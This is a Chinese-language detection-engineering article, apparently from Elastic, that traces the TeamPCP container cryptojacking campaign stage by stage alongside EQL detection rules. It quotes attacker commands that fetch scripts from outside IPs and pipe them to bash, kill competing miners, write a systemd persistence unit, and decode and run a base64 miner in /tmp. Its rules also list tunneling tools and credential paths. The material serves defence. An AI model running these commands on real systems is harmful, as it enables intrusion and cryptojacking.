简介
在上一篇文章中，我们研究了 Defend for Containers (D4C) 的部署方式、策略模型的运行方式以及运行时遥测的结构。有了这个基础，下一步就是从配置和现场分析转向应用检测工程。
本文章将根据Flare 记录的 TeamPCP 云原生勒索软件操作，介绍一种现实的容器攻击场景。我们不是抽象地分析孤立的技术，而是跟踪攻击在容器化环境中的展开过程，并检查每个阶段在 D4C 遥测中的表现。
当映射到 MITRE ATT&CK 时，该场景中的活动几乎跨越了整个攻击生命周期。入侵从在容器内执行和发现，发展到持续存在、横向移动、指挥控制活动，并最终产生影响。
通过将这些行为映射到具体的检测逻辑，本文展示了 D4C 如何使检测工程师能够识别容器入侵，而不是将其作为孤立的可疑命令，而是作为结构化攻击链的一部分。
TeamPCP--云本地和勒索软件领域的新兴力量
该情景演示了 TeamPCP 云原生勒索软件操作的容器入侵和传播阶段，Flare 最近对其进行了研究和记录。下面的流程并不是一个抽象的案例研究，而是反映了攻击在实践中是如何发生的，并显示了 D4C 遥测和预置检测是如何显示入侵的每个阶段的。
从高层次来看，威胁行动者在这一阶段的目标是
- 在容器内获得交互式代码执行
- 确定工作负载是否在 Kubernetes 中运行
- 建立持久执行和持久性
- 在豆荚和节上横向传播
- 为大规模货币化（挖矿、勒索软件或转售）准备环境
这些目标中的每一个都会留下可观察到的运行时行为，而 D4C 可以很好地检测到这些行为。
阶段 1 - 通过下载和管道到外壳初始执行
攻击以一种熟悉但有效的技术开始：通过 shell 管道下载并立即执行脚本。
curl -fsSL http://67.217.57[.]240:666/files/proxy.sh | bash这样做的目的是在避免创建文件的同时获得即时执行。这是一种典型的技术选择：没有有效载荷写入磁盘，没有明显的人工制品可供扫描。
从 D4C 的角度来看，这仍然是一种非常可疑的运行模式。交互式curl 进程在容器内执行，并立即生成 shell 解释器。父子关系、命令行和容器上下文都会被捕获。
sequence by process.parent.entity_id, container.id with maxspan=1s
[process where event.type == "start" and event.action == "exec" and
process.name in ("curl", "wget")]
[process where event.action in ("exec", "end") and
process.name like (
"bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox",
"python*", "perl*", "ruby*", "lua*", "php*"
) and
process.args like (
"-bash", "-dash", "-sh", "-tcsh", "-csh", "-zsh", "-ksh", "-fish",
"bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish",
"/bin/bash", "/bin/dash", "/bin/sh", "/bin/tcsh", "/bin/csh",
"/bin/zsh", "/bin/ksh", "/bin/fish",
"/usr/bin/bash", "/usr/bin/dash", "/usr/bin/sh", "/usr/bin/tcsh",
"/usr/bin/csh", "/usr/bin/zsh", "/usr/bin/ksh", "/usr/bin/fish",
"-busybox", "busybox", "/bin/busybox", "/usr/bin/busybox",
"*python*", "*perl*", "*ruby*", "*lua*", "*php*", "/dev/fd/*"
)]即使没有文件写入磁盘，该规则也能检测到下载 → 解释器执行模式。检测这一步骤至关重要，因为它是容器内手写键盘活动的第一个可靠指标。
执行时，TeamPCP 会扫描目标系统，查找竞争的采矿进程，并使用pkill 命令终止这些进程。
pkill -9 xmrig 2>/dev/null || true
pkill -9 XMRig 2>/dev/null || true
curl -fsSL http://update.aegis.aliyun.com/download/uninstall.sh | bash 2>/dev/null || true与竞争对手相比，TeamPCP 的竞争对手杀戮逻辑非常有限，仅关注xmrig 。在容器中手动杀死进程的情况并不常见，尤其是通过交互式进程完成时。
process where event.type == "start" and event.action == "exec" and
container.id like "*?" and
(
process.name in ("kill", "pkill", "killall") or
(
/*
Account for tools that execute utilities as a subprocess,
in this case the target utility name will appear as a process arg
*/
process.name in (
"bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
) and
process.args in (
"kill", "/bin/kill", "/usr/bin/kill", "/usr/local/bin/kill",
"pkill", "/bin/pkill", "/usr/bin/pkill", "/usr/local/bin/pkill",
"killall", "/bin/killall", "/usr/bin/killall", "/usr/local/bin/killall"
)
)
)此处提供了在此阶段触发的检测规则：
初次访问时，会出现以下检测警报：
阶段 2 - Kubernetes 环境发现
获得执行权后，攻击者会通过测试服务帐户令牌来检查容器是否在 Kubernetes 内运行：
if [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]该检查确定攻击是否能扩展到当前容器之外。如果令牌存在，攻击者就会继续滥用 Kubernetes API。此外，被删除的脚本还列举了环境变量和多个敏感文件位置，触发了大量与发现相关的警报。
此处提供了在此阶段触发的检测规则：
发现后会发出以下检测警报：
阶段 3 - 通过 kube.py
当存在服务帐户令牌时，攻击者会下载并执行一个 Python 脚本，该脚本旨在枚举 pod 并在整个集群中执行命令：
curl -fsSL http://44.252.85[.]168:666/files/kube.py -o /tmp/k8s.py
python3 /tmp/k8s.py至此，攻击者的目标就很明确了：利用合法的 Kubernetes API，将单个受攻击容器变成在整个集群传播的立足点。
D4C 通过文件和进程遥测的组合来检测这一阶段。脚本会被写入临时目录，并通过解释器立即执行，这一切都在交互式容器会话中完成。
检测从远程源提取文件的交互式curl 命令是检测过时容器工作负载的一个强有力信号。
process where event.type == "start" and event.action == "exec" and process.interactive == true and (
(
(process.name == "curl" or process.args in (
"curl", "/bin/curl", "/usr/bin/curl", "/usr/local/bin/curl"
)
) and
process.args in (
"-o", "-O", "--output", "--remote-name",
"--remote-name-all", "--output-dir"
)
) or
(
(process.name == "wget" or process.args in (
"wget", "/bin/wget", "/usr/bin/wget", "/usr/local/bin/wget"
)
) and
process.args like ("-*O*", "--output-document=*", "--output-file=*")
)
) and (
process.args like~ "*http*" or
process.args regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}[:/]{1}.*"
) and container.id like "?*"上述检测规则可以检测到远程文件下载，但我们还可以更进一步，检测文件创建序列，然后在同一容器上下文中执行文件：
sequence by container.id, user.id with maxspan=3s
[file where host.os.type == "linux" and event.type == "creation" and
process.interactive == true and container.id like "?*" and
file.path like (
"/tmp/*", "/var/tmp/*", "/dev/shm/*", "/root/*", "/home/*"
) and
not process.name in (
"apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf", "apk",
"pacman", "rpm", "dpkg"
)] by file.path
[process where host.os.type == "linux" and event.type == "start" and
event.action == "exec" and process.interactive == true and
container.id like "?*"] by process.executable在此，我们重点关注交互式进程，但不包括软件包管理器创建的文件，因为我们预计这些文件会出现在典型的工作负载中。
此处提供了在此阶段触发的检测规则：
横向移动时会发出以下检测警报：
阶段 4 - 通过 Systemd 建立持久性
在容器环境中，systemd 服务等持久化机制通常是不合逻辑的。大多数容器被设计为短期、单进程工作负载，其生命周期管理依赖于容器运行时或协调器。它们通常不运行完整的 init 系统，即使有 systemd 存在，容器内所作的更改也很少能在重新部署、重新安排或镜像重建后存活下来。
因此，试图通过systemd 从容器内建立持久性是一个异常的强烈信号。它们通常表明以下两种情况之一：要么容器在运行时提升了权限并可访问主机文件系统，要么攻击者希望逃离容器边界并使其持久化机制在节点级别生效。
在 TeamPCP 活动中，攻击者试图通过创建systemd 服务来建立持久性：
cat>/etc/systemd/system/teampcp-react.service<<SVCEOF
[Unit]
Description=PCPcat React Scanner
After=network.target
[Service]
Type=simple
WorkingDirectory=${dir}
ExecStart=/usr/bin/python3 ${dir}/react.py
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
SVCEOF这种行为不符合正常的容器行为。从容器内部写入 systemd 单元文件表明了在容器生命周期之外持续存在的意图，而这只有在底层主机受到影响时才有意义。
D4C 将这种行为捕获为源自容器上下文的敏感系统位置的文件创建活动。以下检测逻辑会在常见的 Linux 持久化路径中查找面向写的文件活动，包括 systemd 服务、计时器、cron 作业、sudoers 文件和 shell 配置文件修改：
file where event.type != "deletion" and
/* open events currently only log file opens with write intent */
event.action in ("creation", "rename", "open") and (
file.path like (
// Cron & Anacron Jobs
"/etc/cron.allow", "/etc/cron.deny", "/etc/cron.d/*",
"/etc/cron.hourly/*", "/etc/cron.daily/*", "/etc/cron.weekly/*",
"/etc/cron.monthly/*", "/etc/crontab", "/var/spool/cron/crontabs/*",
"/var/spool/anacron/*",
// At Job
"/var/spool/cron/atjobs/*", "/var/spool/atjobs/*",
// Sudoers
"/etc/sudoers*"
) or
(
// Systemd Service/Timer
file.path like (
"/etc/systemd/system/*", "/etc/systemd/user/*",
"/usr/local/lib/systemd/system/*", "/lib/systemd/system/*",
"/usr/lib/systemd/system/*", "/usr/lib/systemd/user/*",
"/home/*/.config/systemd/user/*", "/home/*/.local/share/systemd/user/*",
"/root/.config/systemd/user/*", "/root/.local/share/systemd/user/*"
) and
file.extension in ("service", "timer")
) or
(
// Shell Profile Configuration
file.path like ("/etc/profile.d/*", "/etc/zsh/*") or (
file.path like ("/home/*/*", "/etc/*", "/root/*") and
file.name in (
"profile", "bash.bashrc", "bash.bash_logout", "csh.cshrc",
"csh.login", "config.fish", "ksh.kshrc", ".bashrc",
".bash_login", ".bash_logout", ".bash_profile", ".bash_aliases",
".zprofile", ".zshrc", ".cshrc", ".login", ".logout", ".kshrc"
)
)
)
) and container.id like "?*" and
not process.name in (
"apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf",
"apk", "pacman", "rpm", "dpkg"
)这种检测并不只针对systemd 。相反，它通过涵盖攻击者在执行代码后可能尝试的多种常见 Linux 持久性载体，对持久性进行了更广泛的建模。通过明确排除软件包管理器，该规则减少了合法更新和安装活动的干扰。
此处提供了在此阶段触发的检测规则：
导致在持续运行时发出以下检测警报：
当这种检测在容器上下文中触发时，就会强烈显示出具有潜在主机级影响的破坏后行为。它不仅突出了可疑的活动，而且在结构上也不符合容器的预期行为。
阶段 5 - 运行时安装工具
在基于 Docker 的部署中，攻击者会动态安装所需的工具：
apk add --no-cache curl bash python3这样，相同的有效载荷就可以在不同的基础图像上运行，而无需进行修改。
从防御者的角度来看，在容器内安装运行时软件包是部署后篡改的一个有力指标。D4C 通过与已知软件包管理器绑定的进程执行遥测来检测这一点。
process where event.type == "start" and event.action == "exec" and process.interactive == true and (
(
process.name in (
"apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf"
) and process.args == "install"
) or
(process.name == "apk" and process.args == "add") or
(process.name == "pacman" and process.args like "-*S*") or
(process.name in ("rpm", "dpkg") and process.args in ("-i", "--install"))
) and
process.args like (
"curl", "wget", "socat", "busybox", "openssl", "torsocks",
"netcat", "netcat-openbsd", "netcat-traditional", "ncat", "tor",
"python*", "perl", "node", "nodejs", "ruby", "lua", "bash", "sh",
"dash", "zsh", "fish", "tcsh", "csh", "ksh"
) and container.id like "?*"并非所有安装在容器中的软件包都是恶意的。协调时，容器需要安装某些软件包才能运行。不过，由于威胁行为者通常使用软件包管理器来安装所需的工具，这对已经部署的容器运行时来说是一个强烈信号。
此处提供了在此阶段触发的检测规则：
导致在安装工具时发出以下检测警报：
阶段 6 - 建立隧道和代理访问
一旦稳定的执行和持久性到位，TeamPCP 就会将重点从访问转向连接。在这一阶段，攻击者部署隧道和代理工具，如 frps 和 gost，以暴露内部服务并保持可靠的外部访问。
这一步骤的目的是将受损的容器转换为可重复使用的基础设施。通过建立隧道或转发器，攻击者可以转入其他环境，中继流量，或重新使用被入侵的工作负载，作为更大攻击链的一部分。
D4C 通过进程执行遥测来检测这种活动。在容器内执行已知的隧道工具在合法工作负载中并不常见，而当与交互式执行和容器上下文相结合时，这种情况就很明显了。
process where event.type == "start" and event.action == "exec" and (
(
// Tunneling and/or Port Forwarding via process args
(process.args regex """.*[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}.*""") or
// gost
(process.name == "gost" and process.args : ("-L*", "-C*", "-R*")) or
// ssh
(process.name == "ssh" and (
process.args like ("-*R*", "-*L*", "-*D*", "-*w*") and
not (process.args == "chmod" or process.args like "*rungencmd*"))
) or
// ssh Tunneling and/or Port Forwarding via SSH option
(process.name == "ssh" and process.args == "-o" and process.args like~(
"*ProxyCommand*", "*LocalForward*", "*RemoteForward*",
"*DynamicForward*", "*Tunnel*", "*GatewayPorts*",
"*ExitOnForwardFailure*", "*ProxyCommand*", "*ProxyJump*"
)
) or
// sshuttle
(process.name == "sshuttle" and
process.args in ("-r", "--remote", "-l", "--listen")
) or
// earthworm
(process.args == "-s" and process.args == "-d" and
process.args == "rssocks"
) or
// socat
(process.name == "socat" and
process.args like~ ("TCP4-LISTEN:*", "SOCKS*")
) or
// chisel
(process.name like~ "chisel*" and process.args in ("client", "server")) or
// iodine(d), dnscat, hans, ptunnel-ng, ssf, 3proxy & ngrok
(process.name in (
"iodine", "iodined", "dnscat", "hans", "hans-ubuntu", "ptunnel-ng",
"ssf", "3proxy", "ngrok", "wstunnel", "pivotnacci", "frps",
"proxychains"
)
)
)
) and container.id like "?*"Linux 系统上有许多隧道和端口转发工具。上面显示的总括规则利用 regex、进程名称和进程参数的组合来检测通常观察到的隧道活动。
此处提供了在此阶段触发的检测规则：
导致在隧道和代理访问时发出以下检测警报：
检测隧道很重要，因为它往往标志着从短暂的破坏到攻击者持续存在的过渡。当它与早期阶段相关联时，就能有力地证实这是有意的、持续的滥用，而不是机会主义的执行。
阶段 7 - 执行编码有效载荷
为了掩盖有效载荷逻辑，攻击者直接通过 Python 执行 base64 编码的有效载荷：
python3 -c "exec(base64.b64decode('<payload>').decode())"这种技术降低了对有效载荷本身的可视性，但引入了独特的执行特征：在交互会话中直接向解释器传递编码参数。
process where event.type == "start" and event.action == "exec" and process.interactive == true and (
(process.name in (
"base64", "base64plain", "base64url", "base64mime", "base64pem",
"base32", "base16"
) and process.args like~ "*-*d*"
) or
(process.name == "xxd" and process.args like~ ("-*r*", "-*p*")) or
(process.name == "openssl" and process.args == "enc" and
process.args in ("-d", "-base64", "-a")
) or
(process.name like "python*" and (
(process.args == "base64" and process.args in ("-d", "-u", "-t")) or
(process.args == "-c" and process.args like "*base64*" and
process.args like "*b64decode*")
)
) or
(process.name like "perl*" and process.args like "*decode_base64*") or
(process.name like "ruby*" and process.args == "-e" and
process.args like "*Base64.decode64*"
)
) and container.id like "?*"对有效载荷进行解码的方法有很多，但上图所示的总括规则捕捉到了最常见的技术。
此处提供了在此阶段触发的检测规则：
执行时会产生以下检测警报：
阶段 8 - 矿工部署和执行
最终，攻击者会根据 base64 重构矿机，将其写入磁盘，使其可执行并启动它：
/bin/sh -c "printf IyEvYmlu<<TRUNCATED>>>***** >> /tmp/miner.b64"
/bin/sh -c "base64 -d /tmp/miner.b64 > /tmp/miner && chmod +x /tmp/miner && rm /tmp/miner.b64"这一阶段代表着从设置到货币化的转变。攻击者现在正积极滥用群集资源。
如前所述，D4C 将使用上一阶段链接的相同规则检测 base64 有效载荷的解码。其他三个需要检测的重要信号是：创建 base64 编码的有效载荷、特定目录中文件权限的更改以及在临时目录中执行新创建的二进制文件。
为了创建 base64 编码的有效载荷，我们创建了一个总括规则，用于检测带有 echo/printf 内置功能的 shell 的执行情况，以及常用命令行的白名单：
process where event.type == "start" and event.action == "exec" and
process.interactive == true and process.name in (
"bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish"
) and process.args == "-c" and process.args like ("*echo *", "*printf *") and
process.args like (
"*/etc/cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*",
"*/etc/update-motd.d*", "*/etc/ld.so*", "*/etc/sudoers*", "*base64 *",
"*base32 *", "*base16 *", "*/etc/profile*", "*/dev/shm/*", "*/etc/ssh*",
"*/home/*/.ssh/*", "*/root/.ssh*" , "*~/.ssh/*", "*xxd *", "*/etc/shadow*",
"* /tmp/*", "* /var/tmp/*", "* /dev/shm/* ", "* ~/*", "* /home/*",
"* /run/*", "* /var/run/*", "*|*sh", "*|*python*", "*|*php*", "*|*perl*",
"*|*busybox*", "*/var/www/*", "*>*", "*;*", "*chmod *", "*rm *"
) and container.id like "?*"特别是对于交互式流程，以下检测规则是一个高信号。
流程的第二部分与文件权限更改有关。并非所有文件权限更改都是恶意的，但通过容器内的交互式进程检测世界可写入目录中可执行文件的文件权限更改预计不会经常发生。
any where event.category in ("file", "process") and
event.type in ("change", "creation", "start") and (
process.name == "chmod" or
(
/*
account for tools that execute utilities as a subprocess,
in this case the target utility name will appear as a process arg
*/
process.name in (
"bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
) and
process.args in (
"chmod", "/bin/chmod", "/usr/bin/chmod", "/usr/local/bin/chmod"
)
)
) and process.args in ("4755", "755", "777", "0777", "444", "+x", "a+x") and
container.id like "?*"请注意，我们在这里利用了文件和进程事件类别。这样做的原因是，如果在策略中特别设置，D4C 会通过文件事件捕获这些更改，但默认情况下，当设置为检测execve 调用时，D4C 会捕获这些进程执行。
这一链条的最后一环与在世界可写位置执行二进制文件有关。大多数容器运行时都不会执行这些目录中的有效载荷。
process where event.type == "start" and event.action == "exec" and process.interactive == true and (
process.executable like (
"/tmp/*", "/dev/shm/*", "/var/tmp/*", "/run/*", "/var/run/*",
"/mnt/*", "/media/*", "/boot/*"
) or
// Hidden process execution
process.name like ".*"
) and container.id like "?*"请注意，该规则还能捕捉隐藏进程的执行。这也是威胁行为者经常观察到的一种技术，因为他们可能试图通过将进程标记为隐藏进程来逃避检测。
此处提供了在此阶段触发的检测规则：
导致在部署和执行矿工时发出以下检测警报：
阶段 9 - 升级到节点控制
一旦攻击者在容器内建立了立足点并获得了超权限服务账户的访问权限，下一步就是滥用 Kubernetes 控制平面本身。这一阶段的攻击超出了单个容器的范围，对整个集群产生影响。这种活动可通过 Kubernetes 审计日志检测到。这次入侵所显示的 Kubernetes 审计日志规则分为三种不同的模式。
阶段 9.1 - 侦查& 滥用 API
攻击者的kube.py 脚本会使用窃取的服务帐户令牌列举所有命名空间中的 pod、机密和节点。从 Kubernetes 的角度来看，这就像一个身份在多个资源类型中进行了大量 API 调用，这种模式直接映射到权限枚举检测逻辑。作为 API 客户端，使用 Python 的urllib 而不是kubectl 也很不寻常。
此处提供了在此阶段触发的检测规则：
导致在侦察和滥用 API 时发出以下检测警报：
阶段 9.2 - 权限升级& 工作负载操纵
枚举完成后，攻击者会创建一个特权 DaemonSet (system-monitor) 并依赖绑定到被攻击服务帐户的超特权 ClusterRole。工作负载创建和启用工作负载的角色都会被标记：DaemonSet 作为敏感工作负载修改，而 ClusterRole 绑定则作为敏感角色授予广泛权限，包括pods/exec 、秘密访问和 DaemonSet 创建。
此处提供了在此阶段触发的检测规则：
导致权限升级和工作负载操纵时发出以下检测警报：
阶段 9.3 - 节点级逃逸
DaemonSet 的 pod 规范旨在打破容器通常提供的所有隔离边界。它请求使用特权模式，连接到主机网络和 PID 命名空间，并挂载节点的根文件系统。这些属性中的每一个都会触发单独的检测规则，它们共同勾勒出一个为节点逃逸而设计的容器工作负载的清晰图景。
此处提供了在此阶段触发的检测规则：
- 使用敏感 hostPath 卷创建的 Kubernetes Pod
- 创建 Kubernetes 特权 Pod
- 使用 HostNetwork 创建 Kubernetes Pod
- 使用 HostPID 创建 Kubernetes Pod
导致节点级逃逸时发出以下检测警报：
这三个子阶段还突出了以集装箱为重点的检测中的一个关键边界。虽然 D4C 擅长观察容器内部发生的情况，但要确定这些容器是如何以及为何创建的，则需要 Kubernetes 控制平面遥测技术。在后续的 "Kubernetes 检测工程 "系列中，我们将重点介绍如何将 D4C 运行时事件与 Kubernetes 审计日志关联起来，以检测跨越工作负载创建、权限升级和节点级影响的多阶段攻击。
对于已经熟悉 Kubernetes 审计日志或有兴趣进一步了解它们的人，我们在GitHub 检测规则仓库中提供了几种利用 Kubernetes 审计日志框架的预构建检测规则。
阶段 10 - 通过 React2Shell 入侵网络服务器
除了利用被入侵的容器和 Kubernetes 控制路径外，TeamPCP 还直接利用网络服务器获取暴露服务的 shell 访问权限。React2Shell 是相关活动中提到的技术之一，它可以滥用易受攻击的网络应用程序来实现远程命令执行并落入交互式 shell。
攻击者的目的很简单：扩大 Kubernetes 工作负载之外的访问权限，增加进入环境的入口数量。与容器相比，面向网络的服务通常没有那么严格的隔离，如果不打补丁，就会为主机级入侵提供快速通道。
从检测的角度来看，这项活动已经得到了很好的覆盖。Elastic 提供了网络服务器利用总体检测功能，可标记来自网络服务器进程的可疑命令执行模式。此外，多个基于主机的 Linux 检测还能识别成功访问 Web shell 后的漏洞利用行为，如意外执行 shell、由 Web 服务启动命令解释器以及执行后续工具。
检测这一阶段非常重要，因为它代表了一种完全绕过特定于容器的防御措施的替代入口路径。当与早期的 D4C 检测相关联时，React2Shell 式利用有助于确认攻击者正在积极寻求多种访问途径，从而增加爆炸半径和持续潜能。
此处提供了在此阶段触发的检测规则：
一旦网络服务器被入侵，就会发出以下检测警报：
这个场景之所以能有效地作为检测练习，是因为攻击者的每个主要目标（执行、持久性、传播和货币化）都表现为容器内的运行时行为。D4C 能够在上下文中观察这种行为，使检测工程师能够在攻击展开时跟踪攻击，而不是在造成破坏后才发现。
通过攻击发现将一切联系起来
在容器运行时和 Kubernetes 审计遥测中运行单个检测规则会产生数十个警报，每个警报都孤立地强调一个可疑操作。防御者在逐一查看时，会发现这里有一个特权 pod，那里有一个curl | bash ，而其他地方则有一阵 API 枚举。挑战不在于生成警报，而在于认识到这 130 多个信号都是同一行动的一部分。
这就是 "攻击发现 "的作用所在。攻击发现 "是 Elastic 的生成式人工智能功能，它可以接收一组警报，并自动将其关联到连贯的攻击叙述中。它不会强迫分析师在单个警报之间手动切换，而是识别哪些信号属于同一个信号，并将它们映射到 MITRE ATT&CK 框架，从而生成一个单一、可读的事件摘要。
当看到模拟生成的警报时，Attack Discovery 将整个 TeamPCP 攻击链正确地重建为 "容器加密劫持攻击链"。总结指出
- 初始访问：利用受害者节点上的网络服务器，从
python3.11生成busybox并执行侦察命令 (id,whoami,uname -a,cat /etc/passwd) - 权限升级：
system:serviceaccount:kube-system:daemon-set-controller正在使用HostPID、HostNetwork、特权模式和敏感的hostPath卷挂载创建高权限 pod - 防御规避：竞争对手通过
pkill -9 xmrig和pkill -9 XMRig清理加密程序，以及 base64 编码的 Python 有效载荷 - 工具暂存：运行时软件包安装 (
apk,curl,bash,python3) 和通过curl从模拟 C2 服务器下载恶意脚本 - C2 基础设施：在
/opt/teampcp下部署隧道工具gost和frpc，在 1081 端口使用 SOCKS5 代理监听 - 影响：解码和分期的
/tmp/miner二进制文件：密码劫持目标
攻击链可视化映射了整个 MITRE ATT&CK 攻击链中的相关警报，从初始访问到影响，包括执行、权限升级、防御规避、发现和命令& 控制中已确认的活动。
这就是将 D4C 运行时遥测与 Kubernetes 审计日志相结合的回报。这两个数据源单独使用都不会产生这样的结果：容器运行时看到的是curl | bash 、gost 进程和矿工二进制文件，而审计日志捕获的是 DaemonSet 创建、RBAC 滥用和 API 枚举。攻击发现 "将两者融合成单一的叙述，SOC 分析师可立即对其采取行动，而无需手动拼接不同指数和时间范围内的警报。
结论
在整个攻击链中，我们观察到一种一致的模式。容器内的交互式执行导致了环境发现、通过 Kubernetes API 进行横向移动、尝试在与容器设计不符的位置进行持久化、安装运行时工具、隧道活动、重建编码有效载荷，以及最后的资源货币化。每个目标都会产生不同的运行信号。
Defend for Containers 的价值在于将这些信号与容器和协调上下文连接起来。进程脉络、能力元数据、交互式执行标志、文件修改遥测和容器身份共同作用，使检测不再局限于简单的命令匹配，而是对意图和影响进行推理。
这种情况也突出了一个重要的建筑界限。虽然 D4C 提供了对容器内部运行时的深度可视性，但某些升级步骤（如特权工作负载创建或控制平面操作）需要 Kubernetes 审计日志遥测才能实现全面可视性。因此，有效的云原生检测取决于运行时和控制面数据源的结合。
在本系列的下一阶段，我们将把这一模型扩展到容器边界之外，并探索 Kubernetes 控制平面检测工程，将审计日志与 D4C 运行时事件关联起来，以检测跨越工作负载、节点和集群本身的多阶段攻击。